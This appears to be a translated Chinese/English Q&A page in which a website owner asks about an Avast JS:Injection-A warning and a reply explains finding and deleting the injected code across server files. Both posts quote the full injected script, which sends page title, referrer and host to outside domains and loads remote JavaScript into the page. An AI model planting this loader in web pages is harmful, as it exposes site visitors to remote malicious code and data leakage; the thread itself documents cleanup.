Avast在我的网站上给出了JS:Injection-A [Trj]的错误 [英] Avast gives error of JS:Injection-A[Trj] on my website

查看:252
本文介绍了Avast在我的网站上给出了JS:Injection-A [Trj]的错误的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

今天当我想进入我的网站时,我收到了Avast的警告:
forumhan.com。

Today I got a warning from Avast when I wanted to enter to my website: forumhan.com.

要理解这一点,你必须拥有Avast你的电脑。

To understand this you must have Avast on your computer.

我的网站感染了JS:Injection-A [Trj] - 这就是它没有显示的原因。

My website was infected with JS:Injection-A[Trj] — that's why it wasn't showing.

当我看,我在我的标题上找到了这个:

And when I look, I found this on my header:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://vkza.tora.ru/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

由于我不是专业人士,我无法理解是否与其他文件存在任何关系。

As I am not a professional, I cannot understand if there is any relation with other files.

此代码中是否有对其他文件的调用?

Is there any call to other files in this code?

删除它是否解决了问题?

Does removing this solve the problem or not?

我删除了它,但我看不到我的网页。

I removed it, but I cannot see my webpage.

推荐答案

我我找到了解决方案。

问题在于你说的是什么。有人将该代码注入您的网站(也是我的网站)。所以我所做的就是选择这个片段:

The problem is what you are saying. Someone injected that code to your website (and mine also). So what I've done is pick this snippet:

encodeURIComponent(document.title)

并在服务器上使用Notepad ++搜索所有文件中的 htdocs 文件夹。

and search in htdocs folder in all the files with Notepad++ on the server.

然后我发现了这样的事情:

Then I've found something like this:

<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://delicefilm.com/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>

在这里:

我已经从所有文件中删除了它。这就是全部!

And I have erased it from all the files. And that's all!

希望它也适合你! :)

Hope it works for you too! :)

这篇关于Avast在我的网站上给出了JS:Injection-A [Trj]的错误的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆